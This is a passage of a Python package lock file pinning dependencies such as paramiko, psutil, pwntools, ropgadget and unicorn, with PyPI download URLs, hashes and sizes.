sdist = { url = "https://files.pythonhosted.org/packages/7d/15/ad6ce226e8138315f2451c2aeea985bf35ee910afb477bae7477dc3a8f3b/paramiko-3.5.1.tar.gz", hash = "sha256:b2c665bc45b2b215bd7d7f039901b14b067da00f3a11e6640995fd58f2664822", size = 1566110, upload-time = "2025-02-04T02:37:59.783Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/15/f8/c7bd0ef12954a81a1d3cea60a13946bd9a49a0036a5927770c461eade7ae/paramiko-3.5.1-py3-none-any.whl", hash = "sha256:43b9a0501fc2b5e70680388d9346cf252cfb7d00b0667c39e80eb43a408b8f61", size = 227298, upload-time = "2025-02-04T02:37:57.672Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pip"
|
||||
version = "25.1.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/59/de/241caa0ca606f2ec5fe0c1f4261b0465df78d786a38da693864a116c37f4/pip-25.1.1.tar.gz", hash = "sha256:3de45d411d308d5054c2168185d8da7f9a2cd753dbac8acbfa88a8909ecd9077", size = 1940155, upload-time = "2025-05-02T15:14:02.057Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/29/a2/d40fb2460e883eca5199c62cfc2463fd261f760556ae6290f88488c362c0/pip-25.1.1-py3-none-any.whl", hash = "sha256:2913a38a2abf4ea6b64ab507bd9e967f3b53dc1ede74b01b0931e1ce548751af", size = 1825227, upload-time = "2025-05-02T15:13:59.102Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "plumbum"
|
||||
version = "1.9.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "pywin32", marker = "platform_python_implementation != 'PyPy' and sys_platform == 'win32'" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/f0/5d/49ba324ad4ae5b1a4caefafbce7a1648540129344481f2ed4ef6bb68d451/plumbum-1.9.0.tar.gz", hash = "sha256:e640062b72642c3873bd5bdc3effed75ba4d3c70ef6b6a7b907357a84d909219", size = 319083, upload-time = "2024-10-05T05:59:27.059Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/4f/9d/d03542c93bb3d448406731b80f39c3d5601282f778328c22c77d270f4ed4/plumbum-1.9.0-py3-none-any.whl", hash = "sha256:9fd0d3b0e8d86e4b581af36edf3f3bbe9d1ae15b45b8caab28de1bcb27aaa7f5", size = 127970, upload-time = "2024-10-05T05:59:25.102Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "psutil"
|
||||
version = "7.0.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/2a/80/336820c1ad9286a4ded7e845b2eccfcb27851ab8ac6abece774a6ff4d3de/psutil-7.0.0.tar.gz", hash = "sha256:7be9c3eba38beccb6495ea33afd982a44074b78f28c434a1f51cc07fd315c456", size = 497003, upload-time = "2025-02-13T21:54:07.946Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/ed/e6/2d26234410f8b8abdbf891c9da62bee396583f713fb9f3325a4760875d22/psutil-7.0.0-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:101d71dc322e3cffd7cea0650b09b3d08b8e7c4109dd6809fe452dfd00e58b25", size = 238051, upload-time = "2025-02-13T21:54:12.36Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/04/8b/30f930733afe425e3cbfc0e1468a30a18942350c1a8816acfade80c005c4/psutil-7.0.0-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:39db632f6bb862eeccf56660871433e111b6ea58f2caea825571951d4b6aa3da", size = 239535, upload-time = "2025-02-13T21:54:16.07Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/2a/ed/d362e84620dd22876b55389248e522338ed1bf134a5edd3b8231d7207f6d/psutil-7.0.0-cp36-abi3-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1fcee592b4c6f146991ca55919ea3d1f8926497a713ed7faaf8225e174581e91", size = 275004, upload-time = "2025-02-13T21:54:18.662Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/bf/b9/b0eb3f3cbcb734d930fdf839431606844a825b23eaf9a6ab371edac8162c/psutil-7.0.0-cp36-abi3-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4b1388a4f6875d7e2aff5c4ca1cc16c545ed41dd8bb596cefea80111db353a34", size = 277986, upload-time = "2025-02-13T21:54:21.811Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/eb/a2/709e0fe2f093556c17fbafda93ac032257242cabcc7ff3369e2cb76a97aa/psutil-7.0.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5f098451abc2828f7dc6b58d44b532b22f2088f4999a937557b603ce72b1993", size = 279544, upload-time = "2025-02-13T21:54:24.68Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/50/e6/eecf58810b9d12e6427369784efe814a1eec0f492084ce8eb8f4d89d6d61/psutil-7.0.0-cp37-abi3-win32.whl", hash = "sha256:ba3fcef7523064a6c9da440fc4d6bd07da93ac726b5733c29027d7dc95b39d99", size = 241053, upload-time = "2025-02-13T21:54:34.31Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/50/1b/6921afe68c74868b4c9fa424dad3be35b095e16687989ebbb50ce4fceb7c/psutil-7.0.0-cp37-abi3-win_amd64.whl", hash = "sha256:4cf3d4eb1aa9b348dec30105c55cd9b7d4629285735a102beb4441e38db90553", size = 244885, upload-time = "2025-02-13T21:54:37.486Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pwntools"
|
||||
version = "4.14.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "capstone" },
|
||||
{ name = "colored-traceback" },
|
||||
{ name = "intervaltree" },
|
||||
{ name = "mako" },
|
||||
{ name = "packaging" },
|
||||
{ name = "paramiko" },
|
||||
{ name = "pip" },
|
||||
{ name = "psutil" },
|
||||
{ name = "pyelftools" },
|
||||
{ name = "pygments" },
|
||||
{ name = "pyserial" },
|
||||
{ name = "pysocks" },
|
||||
{ name = "python-dateutil" },
|
||||
{ name = "requests" },
|
||||
{ name = "ropgadget" },
|
||||
{ name = "rpyc" },
|
||||
{ name = "six" },
|
||||
{ name = "sortedcontainers" },
|
||||
{ name = "unicorn" },
|
||||
{ name = "unix-ar" },
|
||||
{ name = "zstandard" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/21/94/1f39d5a770226b9d240c9900c5c912788fb31f8f189aacd81153c0d59f67/pwntools-4.14.1.tar.gz", hash = "sha256:60f04976d1722120d18b9d50553408a024664b5cf888f36f258afca4bf035cac", size = 5612163, upload-time = "2025-03-24T12:29:30.007Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/58/64/882ce3c4bffdc8ee1b52bca10a878685ed67355af4f3eba33c7f4c8b195d/pwntools-4.14.1-py2.py3-none-any.whl", hash = "sha256:d8b8587f5ca9a6149d234f900de1832e9db7a2291c32dfbdaa0de3dac224a324", size = 12858620, upload-time = "2025-03-24T12:29:26.347Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pycparser"
|
||||
version = "2.22"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/1d/b2/31537cf4b1ca988837256c910a668b553fceb8f069bedc4b1c826024b52c/pycparser-2.22.tar.gz", hash = "sha256:491c8be9c040f5390f5bf44a5b07752bd07f56edf992381b05c701439eec10f6", size = 172736, upload-time = "2024-03-30T13:22:22.564Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/13/a3/a812df4e2dd5696d1f351d58b8fe16a405b234ad2886a0dab9183fb78109/pycparser-2.22-py3-none-any.whl", hash = "sha256:c3702b6d3dd8c7abc1afa565d7e63d53a1d0bd86cdc24edd75470f4de499cfcc", size = 117552, upload-time = "2024-03-30T13:22:20.476Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pyelftools"
|
||||
version = "0.32"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/b9/ab/33968940b2deb3d92f5b146bc6d4009a5f95d1d06c148ea2f9ee965071af/pyelftools-0.32.tar.gz", hash = "sha256:6de90ee7b8263e740c8715a925382d4099b354f29ac48ea40d840cf7aa14ace5", size = 15047199, upload-time = "2025-02-19T14:20:05.549Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/af/43/700932c4f0638c3421177144a2e86448c0d75dbaee2c7936bda3f9fd0878/pyelftools-0.32-py3-none-any.whl", hash = "sha256:013df952a006db5e138b1edf6d8a68ecc50630adbd0d83a2d41e7f846163d738", size = 188525, upload-time = "2025-02-19T14:19:59.919Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pygments"
|
||||
version = "2.19.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/7c/2d/c3338d48ea6cc0feb8446d8e6937e1408088a72a39937982cc6111d17f84/pygments-2.19.1.tar.gz", hash = "sha256:61c16d2a8576dc0649d9f39e089b5f02bcd27fba10d8fb4dcc28173f7a45151f", size = 4968581, upload-time = "2025-01-06T17:26:30.443Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/8a/0b/9fcc47d19c48b59121088dd6da2488a49d5f72dacf8262e2790a1d2c7d15/pygments-2.19.1-py3-none-any.whl", hash = "sha256:9ea1544ad55cecf4b8242fab6dd35a93bbce657034b0611ee383099054ab6d8c", size = 1225293, upload-time = "2025-01-06T17:26:25.553Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pynacl"
|
||||
version = "1.5.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "cffi" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/a7/22/27582568be639dfe22ddb3902225f91f2f17ceff88ce80e4db396c8986da/PyNaCl-1.5.0.tar.gz", hash = "sha256:8ac7448f09ab85811607bdd21ec2464495ac8b7c66d146bf545b0f08fb9220ba", size = 3392854, upload-time = "2022-01-07T22:05:41.134Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/ce/75/0b8ede18506041c0bf23ac4d8e2971b4161cd6ce630b177d0a08eb0d8857/PyNaCl-1.5.0-cp36-abi3-macosx_10_10_universal2.whl", hash = "sha256:401002a4aaa07c9414132aaed7f6836ff98f59277a234704ff66878c2ee4a0d1", size = 349920, upload-time = "2022-01-07T22:05:49.156Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/59/bb/fddf10acd09637327a97ef89d2a9d621328850a72f1fdc8c08bdf72e385f/PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:52cb72a79269189d4e0dc537556f4740f7f0a9ec41c1322598799b0bdad4ef92", size = 601722, upload-time = "2022-01-07T22:05:50.989Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/5d/70/87a065c37cca41a75f2ce113a5a2c2aa7533be648b184ade58971b5f7ccc/PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a36d4a9dda1f19ce6e03c9a784a2921a4b726b02e1c736600ca9c22029474394", size = 680087, upload-time = "2022-01-07T22:05:52.539Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ee/87/f1bb6a595f14a327e8285b9eb54d41fef76c585a0edef0a45f6fc95de125/PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:0c84947a22519e013607c9be43706dd42513f9e6ae5d39d3613ca1e142fba44d", size = 856678, upload-time = "2022-01-07T22:05:54.251Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/66/28/ca86676b69bf9f90e710571b67450508484388bfce09acf8a46f0b8c785f/PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:06b8f6fa7f5de8d5d2f7573fe8c863c051225a27b61e6860fd047b1775807858", size = 1133660, upload-time = "2022-01-07T22:05:56.056Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/3d/85/c262db650e86812585e2bc59e497a8f59948a005325a11bbbc9ecd3fe26b/PyNaCl-1.5.0-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:a422368fc821589c228f4c49438a368831cb5bbc0eab5ebe1d7fac9dded6567b", size = 663824, upload-time = "2022-01-07T22:05:57.434Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/fd/1a/cc308a884bd299b651f1633acb978e8596c71c33ca85e9dc9fa33a5399b9/PyNaCl-1.5.0-cp36-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:61f642bf2378713e2c2e1de73444a3778e5f0a38be6fee0fe532fe30060282ff", size = 1117912, upload-time = "2022-01-07T22:05:58.665Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/25/2d/b7df6ddb0c2a33afdb358f8af6ea3b8c4d1196ca45497dd37a56f0c122be/PyNaCl-1.5.0-cp36-abi3-win32.whl", hash = "sha256:e46dae94e34b085175f8abb3b0aaa7da40767865ac82c928eeb9e57e1ea8a543", size = 204624, upload-time = "2022-01-07T22:06:00.085Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/5e/22/d3db169895faaf3e2eda892f005f433a62db2decbcfbc2f61e6517adfa87/PyNaCl-1.5.0-cp36-abi3-win_amd64.whl", hash = "sha256:20f42270d27e1b6a29f54032090b972d97f0a1b0948cc52392041ef7831fee93", size = 212141, upload-time = "2022-01-07T22:06:01.861Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pyserial"
|
||||
version = "3.5"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/1e/7d/ae3f0a63f41e4d2f6cb66a5b57197850f919f59e558159a4dd3a818f5082/pyserial-3.5.tar.gz", hash = "sha256:3c77e014170dfffbd816e6ffc205e9842efb10be9f58ec16d3e8675b4925cddb", size = 159125, upload-time = "2020-11-23T03:59:15.045Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/07/bc/587a445451b253b285629263eb51c2d8e9bcea4fc97826266d186f96f558/pyserial-3.5-py2.py3-none-any.whl", hash = "sha256:c4451db6ba391ca6ca299fb3ec7bae67a5c55dde170964c7a14ceefec02f2cf0", size = 90585, upload-time = "2020-11-23T03:59:13.41Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pysocks"
|
||||
version = "1.7.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/bd/11/293dd436aea955d45fc4e8a35b6ae7270f5b8e00b53cf6c024c83b657a11/PySocks-1.7.1.tar.gz", hash = "sha256:3f8804571ebe159c380ac6de37643bb4685970655d3bba243530d6558b799aa0", size = 284429, upload-time = "2019-09-20T02:07:35.714Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/8d/59/b4572118e098ac8e46e399a1dd0f2d85403ce8bbaad9ec79373ed6badaf9/PySocks-1.7.1-py3-none-any.whl", hash = "sha256:2725bd0a9925919b9b51739eea5f9e2bae91e83288108a9ad338b2e3a4435ee5", size = 16725, upload-time = "2019-09-20T02:06:22.938Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "python-dateutil"
|
||||
version = "2.9.0.post0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "six" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3", size = 342432, upload-time = "2024-03-01T18:36:20.211Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427", size = 229892, upload-time = "2024-03-01T18:36:18.57Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pywin32"
|
||||
version = "310"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/1c/09/9c1b978ffc4ae53999e89c19c77ba882d9fce476729f23ef55211ea1c034/pywin32-310-cp313-cp313-win32.whl", hash = "sha256:5d241a659c496ada3253cd01cfaa779b048e90ce4b2b38cd44168ad555ce74ab", size = 8794384, upload-time = "2025-03-17T00:56:04.383Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/45/3c/b4640f740ffebadd5d34df35fecba0e1cfef8fde9f3e594df91c28ad9b50/pywin32-310-cp313-cp313-win_amd64.whl", hash = "sha256:667827eb3a90208ddbdcc9e860c81bde63a135710e21e4cb3348968e4bd5249e", size = 9503039, upload-time = "2025-03-17T00:56:06.207Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b4/f4/f785020090fb050e7fb6d34b780f2231f302609dc964672f72bfaeb59a28/pywin32-310-cp313-cp313-win_arm64.whl", hash = "sha256:e308f831de771482b7cf692a1f308f8fca701b2d8f9dde6cc440c7da17e47b33", size = 8458152, upload-time = "2025-03-17T00:56:07.819Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "requests"
|
||||
version = "2.32.3"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "certifi" },
|
||||
{ name = "charset-normalizer" },
|
||||
{ name = "idna" },
|
||||
{ name = "urllib3" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/63/70/2bf7780ad2d390a8d301ad0b550f1581eadbd9a20f896afe06353c2a2913/requests-2.32.3.tar.gz", hash = "sha256:55365417734eb18255590a9ff9eb97e9e1da868d4ccd6402399eaf68af20a760", size = 131218, upload-time = "2024-05-29T15:37:49.536Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/f9/9b/335f9764261e915ed497fcdeb11df5dfd6f7bf257d4a6a2a686d80da4d54/requests-2.32.3-py3-none-any.whl", hash = "sha256:70761cfe03c773ceb22aa2f671b4757976145175cdfca038c02654d061d6dcc6", size = 64928, upload-time = "2024-05-29T15:37:47.027Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ropgadget"
|
||||
version = "7.6"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "capstone" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/b5/ad/7c6c9078c143d5cb7965f2d06a3aadc5f9e638276dd86e57ce8c9a30457c/ropgadget-7.6.tar.gz", hash = "sha256:8883c54e4627073a2ce7cd8adbaf7ef72478442c0a5da1308c3c2e37641174c3", size = 25848, upload-time = "2025-01-28T19:34:00.129Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/5d/de/a51149ceea68dc0abbf62b9381ebe87db493a19192d563fe77bfdad5fb02/ROPGadget-7.6-py3-none-any.whl", hash = "sha256:749176f0d210498869ac849a1414912488c0c8c4853b823d22888e2b49a67391", size = 32397, upload-time = "2025-01-28T19:33:58.788Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rpyc"
|
||||
version = "6.0.2"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "plumbum" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/8b/e7/1c17410673b634f4658bb5d2232d0c4507432a97508b2c6708e59481644a/rpyc-6.0.2.tar.gz", hash = "sha256:8e780a6a71b842128a80a337c64adfb6f919014e069951832161c9efc630c93b", size = 62321, upload-time = "2025-04-18T16:33:21.693Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/3f/99/2e119d541d596daea39643eb9312b47c7847383951300f889166938035b1/rpyc-6.0.2-py3-none-any.whl", hash = "sha256:8072308ad30725bc281c42c011fc8c922be15f3eeda6eafb2917cafe1b6f00ec", size = 74768, upload-time = "2025-04-18T16:33:20.147Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "six"
|
||||
version = "1.17.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "sortedcontainers"
|
||||
version = "2.4.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/e8/c4/ba2f8066cceb6f23394729afe52f3bf7adec04bf9ed2c820b39e19299111/sortedcontainers-2.4.0.tar.gz", hash = "sha256:25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88", size = 30594, upload-time = "2021-05-16T22:03:42.897Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/32/46/9cb0e58b2deb7f82b84065f37f3bffeb12413f947f9388e4cac22c4621ce/sortedcontainers-2.4.0-py2.py3-none-any.whl", hash = "sha256:a163dcaede0f1c021485e957a39245190e74249897e2ae4b2aa38595db237ee0", size = 29575, upload-time = "2021-05-16T22:03:41.177Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "unicorn"
|
||||
version = "2.1.2"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/90/12/a10f01a3e1dafcd21e2eb0c0d99bb51d5bda1d3fee20047cb2a4b2de6285/unicorn-2.1.2.tar.gz", hash = "sha256:e4a9d671bdea71806f29a396734cfb83317f82943b52d0001d3bca1dcbaee893", size = 2858907, upload-time = "2025-02-13T15:32:07.433Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/28/5e/6d2f00bbba51fa4bf6ebbeda85a4cc114ddbce54fc6a43990e52dcf85a25/unicorn-2.1.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:32727577224f3aea7a2f2452f5c775e89427518fc2de15816a0f7f126853911f", size = 12885661, upload-time = "2025-02-13T15:29:29.192Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/28/74/757a6d1484fc698b65ae88fd3832662c03aa9b91dfe6f6c681185bed7e8a/unicorn-2.1.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:31a6778397ca00cec40ae000075bfe7e7335186c4421d10c0a7b41725e5c118b", size = 15286663, upload-time = "2025-02-13T15:29:32.615Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/24/bf/d97ee3143ae10286869f86ffd910e857476ed8e94ea57de7d32b41e4aa46/unicorn-2.1.2-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:99c343f74676494b61d4e3307db28ba055707c620eac0643739cd5268e5d4559", size = 19738521, upload-time = "2025-02-13T15:29:36.471Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/57/88/bc15c97ce48e83b330c457d71d467d7b0e59c9e4debcdca9f0caefc676e1/unicorn-2.1.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9c6a0bdfc38266600eacee2f264202fad1bff8590ad36d187b47033a782f12dc", size = 16341494, upload-time = "2025-02-13T15:29:39.758Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/9b/f3/47829c17bae2b7f47213e43d48d5d9787d5d23e25eca1c0dc1898e514141/unicorn-2.1.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:8d61c0724780e021a6f3beee34c7f747d2eca37dbbd5e1e4b201fa50b86191fc", size = 15825061, upload-time = "2025-02-13T15:29:43.447Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/89/8d/07b23a82f5966007927b0790fe59b450d6b57308450d7c2c088585472852/unicorn-2.1.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b53e726c95a452745718ba6611b96c4031472e4d3f4aa8bb8e6deab882783719", size = 20386198, upload-time = "2025-02-13T15:29:46.575Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/60/bd/3635d8f2336dbba5ece77f2be7abc4585676bc3aea3e85e81721e14f529a/unicorn-2.1.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51ddac19d17aa7a220d2760898e38286461f4120d4372578ffec14e198093a7a", size = 16670404, upload-time = "2025-02-13T15:29:50.032Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7b/54/098926e287744ad8013acb3c97071fce9681befae02310b14f02913450d0/unicorn-2.1.2-cp313-cp313-win32.whl", hash = "sha256:7f0436c3e6e982bc2a00cb66297c84f60f3c0167360fb68d5f17c14e6cc0b200", size = 11731855, upload-time = "2025-02-13T15:29:53.035Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/0a/13/dcace4588089ae3d5182c83d18f3c0c3f0370ddbc1a63f75902802f547e7/unicorn-2.1.2-cp313-cp313-win_amd64.whl", hash = "sha256:9e8a56ea10b019f0ac24310d3f5c43d55b9916cffbfa8634aae8b26b93d3de59", size = 15859731, upload-time = "2025-02-13T15:29:55.76Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "unix-ar"
|
||||
version = "0.2.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/3e/37/65cb206bd7110887248fe041e00e61124abdcd23de8f19418898a51363fc/unix_ar-0.2.1.tar.gz", hash = "sha256:bf9328ec70fa3a82f94dc26dc125264dbf62a2d8ffb1a3c8c8a8230175e72c4e", size = 7441, upload-time = "2019-06-12T17:21:23.99Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/b6/a1/847695f96c37cdd57233e6e0f76c4637332acb06a6e0258160f0062c1a85/unix_ar-0.2.1-py2.py3-none-any.whl", hash = "sha256:2acb718bc1308bf80e5b9da2614d8242cc2fe3be4cd8b2fd4719bce189aafcf1", size = 6529, upload-time = "2019-06-12T17:21:22.314Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "urllib3"
|
||||
version = "2.4.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/8a/78/16493d9c386d8e60e442a35feac5e00f0913c0f4b7c217c11e8ec2ff53e0/urllib3-2.4.0.tar.gz", hash = "sha256:414bc6535b787febd7567804cc015fee39daab8ad86268f1310a9250697de466", size = 390672, upload-time = "2025-04-10T15:23:39.232Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/6b/11/cc635220681e93a0183390e26485430ca2c7b5f9d33b15c74c2861cb8091/urllib3-2.4.0-py3-none-any.whl", hash = "sha256:4e16665048960a0900c702d4a66415956a584919c03361cac9f1df5c5dd7e813", size = 128680, upload-time = "2025-04-10T15:23:37.377Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "zstandard"
|
||||
version = "0.23.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "cffi", marker = "platform_python_implementation == 'PyPy'" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/ed/f6/2ac0287b442160a89d726b17a9184a4c615bb5237db763791a7fd16d9df1/zstandard-0.23.0.tar.gz", hash = "sha256:b2d8c62d08e7255f68f7a740bae85b3c9b8e5466baa9cbf7f57f1cde0ac6bc09", size = 681701, upload-time = "2024-07-15T00:18:06.141Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/80/f1/8386f3f7c10261fe85fbc2c012fdb3d4db793b921c9abcc995d8da1b7a80/zstandard-0.23.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:576856e8594e6649aee06ddbfc738fec6a834f7c85bf7cadd1c53d4a58186ef9", size = 788975, upload-time = "2024-07-15T00:16:16.005Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/16/e8/cbf01077550b3e5dc86089035ff8f6fbbb312bc0983757c2d1117ebba242/zstandard-0.23.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:38302b78a850ff82656beaddeb0bb989a0322a8bbb1bf1ab10c17506681d772a", size = 633448, upload-time = "2024-07-15T00:16:17.897Z" },
|
||||
